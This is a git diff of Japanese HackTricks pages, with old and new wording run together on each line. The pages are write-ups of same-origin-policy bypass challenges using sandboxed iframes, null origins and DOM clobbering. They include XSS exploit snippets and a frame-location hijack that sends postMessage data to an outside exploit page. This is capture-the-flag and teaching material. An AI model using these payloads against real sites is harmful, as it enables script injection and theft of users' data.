<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセス**したいですか、または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクション * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう * [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 * **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**してください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 * **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details> </details>
## SOP-1のIFrames ## SOP-1のIFrames
この[**challenge**](https://github.com/terjanq/same-origin-xss)は、[**NDevTK**](https://github.com/NDevTK)と[**Terjanq**](https://github.com/terjanq)によって作成されました。XSSを悪用する必要があります。 この[**challenge**](https://github.com/terjanq/same-origin-xss)は、[**NDevTK**](https://github.com/NDevTK)と[**Terjanq**](https://github.com/terjanq)によって作成されました。ここでは、コード内のXSSを悪用する必要があります。
```javascript ```javascript
const identifier = '4a600cd2d4f9aa1cfb5aa786'; const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => { onmessage = e => {
@ -25,22 +25,22 @@ renderContainer.innerHTML = data.body;
} }
} }
``` ```
### SOP バイパス 1 (e.origin === null) ### SOPバイパス1e.origin === null
`//example.org`**sandboxed iframe** に埋め込まれると、ページの **origin****`null`** になります。つまり、**`window.origin === null`** です。そのため、`<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` を通じて iframe を埋め込むことで、**`null` origin** を強制できます。 `//example.org`が**sandbox付きのiframe**に埋め込まれると、ページの**origin**は**`null`**になります。つまり、**`window.origin === null`**です。したがって、`<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">`を通じてiframeを埋め込むことで、**`null` origin**を強制できます。
ページが **埋め込み可能** であれば、その保護をバイパスすることができます(クッキーも `SameSite=None` に設定する必要があります)。 ページが**埋め込み可能**であれば、その保護をバイパスすることができます(クッキーも`SameSite=None`に設定する必要があるかもしれません)。
### SOP バイパス 2 (window.origin === null) ### SOPバイパス2window.origin === null
あまり知られていない事実は、**sandbox`allow-popups` が設定されている**場合、**開かれたポップアップ** は `allow-popups-to-escape-sandbox` が設定されていない限り、すべての **sandboxed attributes****継承**します。\ あまり知られていない事実は、**sandbox値が`allow-popups`に設定されている**場合、**開かれたポップアップ**は`allow-popups-to-escape-sandbox`が設定されていない限り、すべての**sandbox属性**を**継承**します。\
したがって、**null origin** から **ポップアップ** を開くと、ポップアップ内の **`window.origin`** **`null`** になります。 したがって、**`null` origin**から**ポップアップ**を開くと、ポップアップ内の**`window.origin`**も**`null`**になります。
### チャレンジの解決策 ### チャレンジの解決策
したがって、このチャレンジでは、**iframe** を **作成**し、脆弱な XSS コードハンドラ (`/iframe.php`) があるページに **ポップアップ** を開くことができます。`window.origin === e.origin` が `null` であるため、XSS を悪用する **ペイロードを送信**することが可能です。 したがって、このチャレンジでは、**iframeを作成**し、脆弱なXSSコードハンドラ`/iframe.php`)があるページに**ポップアップを開く**ことができます。`window.origin === e.origin`となるため、両方が`null`であるため、**XSSを悪用するペイロードを送信**することが可能です。
その **ペイロード****識別子** を取得し、**XSS** を **トップページ**(ポップアップを開いたページ)に **送信**します。`data.identifier === identifier` であるため、条件 `window.origin === e.origin` が満たされていなくても問題ありませんorigin は iframe からの **`null` origin** であるポップアップを覚えています)。その後、**XSS が再度トリガー**され、今度は正しい origin で実行されます。 その**ペイロード**は**識別子**を取得し、**XSS**を**トップページ**(ポップアップを開いたページ)に**送信**します。**トップページ**は**脆弱な**`/iframe.php`に**ロケーションを変更**します。識別子が既知であるため、条件`window.origin === e.origin`が満たされていなくても問題ありません覚えておいてください、originは**iframe**からの**ポップアップ**で**`null` origin**を持っています)**data.identifier === identifier**。その後、**XSSが再度トリガー**され、今度は正しいoriginで実行されます。
```html ```html
<body> <body>
<script> <script>
@ -77,12 +77,12 @@ document.body.appendChild(f);
``` ```
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう * [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬 Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 * **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**してください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 * **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details> </details>

View file

@ -1,22 +1,22 @@
# SOPをiframeでバイパスする方法 - 2 # SOPをiframeでバイパスする - 2
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>からAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセス**したいですか、または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう * [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 * **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**してください 🐦[@carlospolopm](https://twitter.com/hacktricks_live)**。**
* **ハッキングテクニックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 * **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングトリックを共有してください。
</details> </details>
## SOP-2のIframes ## SOP-2のIframes
この[**チャレンジ**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)の[**解決策**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)では、[**@Strellic\_**](https://twitter.com/Strellic\_)が前のセクションと同様の方法を提案しています。確認してみましょう。 この[**チャレンジ**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)の[**解決策**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)では、[**@Strellic\_**](https://twitter.com/Strellic\_)が前のセクションと似た方法を提案しています。確認してみましょう。
このチャレンジでは、攻撃者はこれを**バイパス**する必要があります: このチャレンジでは、攻撃者はこれを**バイパスする必要があります**:
```javascript ```javascript
if (e.source == window.calc.contentWindow && e.data.token == window.token) { if (e.source == window.calc.contentWindow && e.data.token == window.token) {
``` ```
@ -24,9 +24,9 @@ if (e.source == window.calc.contentWindow && e.data.token == window.token) {
**最初のチェック**をバイパスする方法は、**`window.calc.contentWindow`**を**`undefined`**にし、**`e.source`**を**`null`**にすることです: **最初のチェック**をバイパスする方法は、**`window.calc.contentWindow`**を**`undefined`**にし、**`e.source`**を**`null`**にすることです:
- **`window.calc.contentWindow`**は実際には**`document.getElementById("calc")`**です。**`document.getElementById`**を**`<img name=getElementById />`**で上書きできますSanitizer API -[こちら](https://wicg.github.io/sanitizer-api/#dom-clobbering)- はデフォルト状態ではDOMの上書き攻撃に対して保護されていないことに注意してください - **`window.calc.contentWindow`**は実際には**`document.getElementById("calc")`**です。**`document.getElementById`**を**`<img name=getElementById />`**で上書きできますSanitizer API -[こちら](https://wicg.github.io/sanitizer-api/#dom-clobbering)- はデフォルト状態ではDOMの上書き攻撃に対して保護されていないことに注意してください
- したがって、**`document.getElementById("calc")`**を**`<img name=getElementById /><div id=calc></div>`**で上書きできます。その結果、**`window.calc`**は**`undefined`**になります。 - したがって、**`document.getElementById("calc")`**を**`<img name=getElementById /><div id=calc></div>`**で上書きできます。その結果、**`window.calc`**は**`undefined`**になります。
- 今、**`e.source`**を**`undefined`**または**`null`**にする必要があります(`==`が使用されているため、**`null == undefined`**は**`True`**です)。これを取得するのは「簡単」です。**iframe**を作成し、そこから**postMessage**を送信し、すぐに**iframe**を**削除**すると、**`e.origin`**は**`null`**になります。以下のコードを確認してください。 - そして、**`e.source`**を**`undefined`**または**`null`**にする必要があります(`==`が使われているため、**`null == undefined`**は**`True`**です)。これを取得するのは「簡単」です。**iframe**を作成し、そこから**postMessage**を送信し、すぐに**iframe**を**削除**すると、**`e.origin`**は**`null`**になります。以下のコードを確認してください。
```javascript ```javascript
let iframe = document.createElement('iframe'); let iframe = document.createElement('iframe');
document.body.appendChild(iframe); document.body.appendChild(iframe);
@ -37,10 +37,10 @@ document.body.removeChild(iframe); //e.origin === null
``` ```
**第二のチェック**をバイパスするためには、**`token`**の値を`null`で送信し、**`window.token`**の値を**`undefined`**にすることです: **第二のチェック**をバイパスするためには、**`token`**の値を`null`で送信し、**`window.token`**の値を**`undefined`**にすることです:
- `token`を値`null`でpostMessageで送信するのは簡単です。 - 値が`null`の**`token`**をpostMessageで送信するのは簡単です。
- **`window.token`**は**`document.cookie`**を使用する**`getCookie`**関数を呼び出しています。**`null`**のオリジンページで**`document.cookie`**にアクセスすると**エラー**が発生します。これにより**`window.token`**の値が**`undefined`**になります。 - **`window.token`**は**`document.cookie`**を使用する**`getCookie`**関数を呼び出します。**`null`**のオリジンページで**`document.cookie`**にアクセスすると**エラー**が発生します。これにより**`window.token`**の値が**`undefined`**になります。
最終的な解決策は[**@terjanq**](https://twitter.com/terjanq)による[**次の**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html)ものです: 最終的な解決策は[**@terjanq**](https://twitter.com/terjanq)によるもので、[**次の**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html)となります:
```html ```html
<html> <html>
<body> <body>
@ -78,12 +78,12 @@ setTimeout(start, 1000);
``` ```
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>からAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう * [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。** * **[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 * **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)** にPRを提出してください。
</details> </details>

View file

@ -2,13 +2,13 @@
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricks で企業を宣伝**してみたいですか?または **PEASS の最新バージョンにアクセスしたり、HackTricks PDF でダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricks で会社を宣伝**してみたいですか?または **PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つけてください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つけてください
* [**公式 PEASS & HackTricks スウェグ**](https://peass.creator-spring.com) を手に入れましょう * [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) Discord グループ**に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** をフォローしてください。** * **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricks リポジトリ](https://github.com/carlospolop/hacktricks) [hacktricks-cloud リポジトリ](https://github.com/carlospolop/hacktricks-cloud)** PR を提出してください。 * **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**
</details> </details>
@ -18,7 +18,7 @@
たとえば、abc.com が efg.com を iframe として持ち、abc.com に X-Frame ヘッダーがない場合、**`frames.location`** を使用して efg.com を evil.com にクロスオリジンで変更できます。 たとえば、abc.com が efg.com を iframe として持ち、abc.com に X-Frame ヘッダーがない場合、**`frames.location`** を使用して efg.com を evil.com にクロスオリジンで変更できます。
これは特に **postMessages** で便利です。なぜなら、ページが **`windowRef.postmessage("","*")`** のような **ワイルドカード** を使用して機密データを送信している場合、**関連する iframe子または親の場所を攻撃者が制御する場所に変更してそのデータを盗むことができるからです。** これは特に **postMessage** で便利です。なぜなら、ページが **`windowRef.postmessage("","*")`** のような **ワイルドカード** を使用して機密データを送信している場合、**関連する iframe子または親の場所を攻撃者が制御する場所に変更してそのデータを盗むことができる**からです。
```html ```html
<html> <html>
<iframe src="https://docs.google.com/document/ID" /> <iframe src="https://docs.google.com/document/ID" />
@ -37,12 +37,12 @@ window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html";
``` ```
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**してみたいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう * [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 * **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、または**Twitter**で**私をフォロー**してください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 * **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングトリックを共有してください。
</details> </details>

View file

@ -1,31 +1,31 @@
# Proxy / WAF Protections Bypass # プロキシ / WAF プロテクション バイパス
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ<a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a></strong></summary> <summary><strong>htARTE (HackTricks AWS Red Team Expert) で AWS ハッキングをゼロからヒーローまで学ぶ</strong></summary>
HackTricks をサポートする他の方法 HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック! * **HackTricks で企業を宣伝したい** または **HackTricks を PDF でダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式 PEASS & HackTricks スワッグ**](https://peass.creator-spring.com) を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 **@carlospolopm** をフォローする * **💬 [Discord グループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegram グループ](https://t.me/peass) に参加するか、**Twitter** 🐦 **@carlospolopm**](https://twitter.com/hacktricks_live)** をフォローする
* **ハッキングテクニックを共有するためにPRを送信して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに貢献する * **ハッキングテクニックを共有するために PR を送信して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに貢献する。
</details> </details>
WAF をバイパスする方法については、次のページをチェックしてください[https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) WAF をバイパスする方法については、次のページをチェックしてください: [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ<a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a></strong></summary> <summary><strong>htARTE (HackTricks AWS Red Team Expert) で AWS ハッキングをゼロからヒーローまで学ぶ</strong></summary>
HackTricks をサポートする他の方法 HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック! * **HackTricks で企業を宣伝したい** または **HackTricks を PDF でダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式 PEASS & HackTricks スワッグ**](https://peass.creator-spring.com) を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 **@carlospolopm** をフォローする * **💬 [Discord グループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegram グループ](https://t.me/peass) に参加するか、**Twitter** 🐦 **@carlospolopm**](https://twitter.com/hacktricks_live)** をフォローする
* **ハッキングテクニックを共有するためにPRを送信して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに貢献する * **ハッキングテクニックを共有するために PR を送信して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに貢献する。
</details> </details>

File diff suppressed because one or more lines are too long

View file

@ -10,28 +10,28 @@
<details> <details>
<summary><strong>**ゼロからヒーローまでのAWSハッキングを学ぶ**</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>!</strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
